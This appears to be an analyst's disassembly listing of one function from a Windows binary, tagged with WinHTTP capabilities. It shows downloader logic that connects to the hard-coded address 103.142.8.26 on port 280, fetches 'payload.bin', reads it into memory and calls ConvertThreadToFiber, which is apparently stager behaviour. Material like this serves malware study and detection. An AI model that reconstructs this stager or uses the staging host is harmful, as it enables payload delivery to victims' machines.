Function at 0x1400011d4
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov r11, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
mov rdi, rcx
xor ebp, ebp
mov qword [rsp + 0x50], rbp
xor eax, eax
mov qword [r11 - 0x80], rax
lea ecx, [rbp + 8]
call fcn.140002248
cmp rax, rbp
je 0x140001226
lea rcx, [rsp + 0x80]
mov qword [rax], rcx
jmp 0x140001229
mov rax, rbp
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rbp
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r14, rax
cmp rax, rbp
jne 0x1400012b7
mov rcx, qword [rsp + 0x98]
cmp rcx, rbp
je 0x140001280
call fcn.1400020e0
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rbp
mov rcx, qword [rsp + 0x80]
call fcn.1400020e0
movdqu xmm5, xmmword [rsp + 0x50]
movdqu xmmword [rdi], xmm5
mov rax, rdi
jmp 0x1400015ef
mov r8d, 0x118
xor r9d, r9d
lea rdx, str.103.142.8.26
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r13, rax
cmp rax, rbp
jne 0x140001321
mov rcx, qword [rsp + 0x98]
cmp rcx, rbp
je 0x1400012ea
call fcn.1400020e0
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rbp
mov rcx, qword [rsp + 0x80]
call fcn.1400020e0
movdqu xmm5, xmmword [rsp + 0x50]
movdqu xmmword [rdi], xmm5
mov rax, rdi
jmp 0x1400015ef
mov dword [rsp + 0x30], ebp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x14000e060]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
cmp rax, rbp
jne 0x14000139a
mov rcx, qword [rsp + 0x98]
cmp rcx, rbp
je 0x140001363
call fcn.1400020e0
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rbp
mov rcx, qword [rsp + 0x80]
call fcn.1400020e0
movdqu xmm5, xmmword [rsp + 0x50]
movdqu xmmword [rdi], xmm5
mov rax, rdi
jmp 0x1400015ef
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
cmp eax, ebp
jne 0x140001405
mov rcx, qword [rsp + 0x98]
cmp rcx, rbp
je 0x1400013ce
call fcn.1400020e0
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rbp
mov rcx, qword [rsp + 0x80]
call fcn.1400020e0
movdqu xmm5, xmmword [rsp + 0x50]
movdqu xmmword [rdi], xmm5
mov rax, rdi
jmp 0x1400015ef
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
cmp ebx, ebp
je 0x140001514
mov dword [rsp + 0xe0], ebp
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rsp + 0xe0]
cmp r11d, ebp
je 0x140001514
mov bl, byte [rsp + 0xe0]
mov ecx, r11d
call fcn.1400022e4
mov r12, rax
mov r8d, dword [rsp + 0xe0]
xor edx, edx
mov rcx, rax
call fcn.140002c40
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0xe0]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
cmp eax, ebp
je 0x1400014e3
mov rbp, qword [rsp + 0xa0]
cmp qword [rsp + 0x98], rbp
jbe 0x1400014a3
call fcn.1400024a4
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbp
mov r9d, dword [rsp + 0x40]
add r9, r12
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x20], bl
mov r8, r12
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x80]
call fcn.140001c60
xor ebp, ebp
mov rcx, r12
call fcn.1400021e4
mov dword [rsp + 0xe0], ebp
lea rdx, [rsp + 0xe0]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rsp + 0xe0]
cmp r11d, ebp
jne 0x140001452
mov rbx, qword [rsp + 0xa0]
sub rbx, qword [rsp + 0x98]
je 0x14000158f
mov rcx, rbx
call fcn.1400024c4
mov r12, rax
mov r15d, ebp
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x98]
sub rcx, rdx
je 0x140001583
cmp rbp, rcx
jb 0x14000155b
call fcn.1400024a4
mov rdx, qword [rsp + 0x98]
mov al, byte [rdx + rbp]
mov byte [r12 + rbp], al
inc r15d
inc rbp
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x98]
sub rcx, rdx
movsxd rax, r15d
cmp rax, rcx
jb 0x140001549
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], rbx
xor ebp, ebp
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rcx, qword [rsp + 0x98]
cmp rcx, rbp
je 0x1400015bd
call fcn.1400020e0
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], rbp
mov rcx, qword [rsp + 0x80]
call fcn.1400020e0
movdqu xmm5, xmmword [rsp + 0x50]
movdqu xmmword [rdi], xmm5
mov rax, rdi
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret